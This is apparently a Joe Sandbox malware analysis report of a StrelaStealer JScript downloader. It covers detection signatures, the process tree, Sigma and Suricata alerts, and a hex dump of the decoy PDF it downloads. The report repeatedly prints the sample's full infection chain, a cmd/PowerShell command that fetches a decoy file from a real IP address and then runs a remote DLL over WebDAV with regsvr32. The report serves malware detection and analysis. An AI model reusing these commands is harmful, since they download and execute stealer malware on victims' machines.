Edit tour

Windows Analysis Report
1534283901292319457.js

Overview

General Information

Sample name:	1534283901292319457.js
Analysis ID:	1588955
MD5:	a95f0c2c34dd74f4896b363b27c76c95
SHA1:	bd526e83208a365442c9482fc073f6401d5f92a0
SHA256:	9d4142a57708fd7f6b4be2ca2bc0c70ae2ed9cf72f988d3f9d54ef8efeba453b
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7356 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7440 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7492 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7684 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7904 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8092 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1648,i,5979320393867997677,284756554289427971,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7700 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7728 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7356	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7492, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7492, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ProcessId: 7356, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7728, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ProcessId: 7440, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ProcessId: 7440, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ProcessId: 7440, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ProcessId: 7440, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ProcessId: 7440, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ProcessId: 7356, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7492, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7728, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7964, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7728, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll, ProcessId: 7440, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:37:31.079261+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:37:33.485044+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:37:31.079261+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1534283901292319457.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1534283901292319457.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1534283901292319457.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:37:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

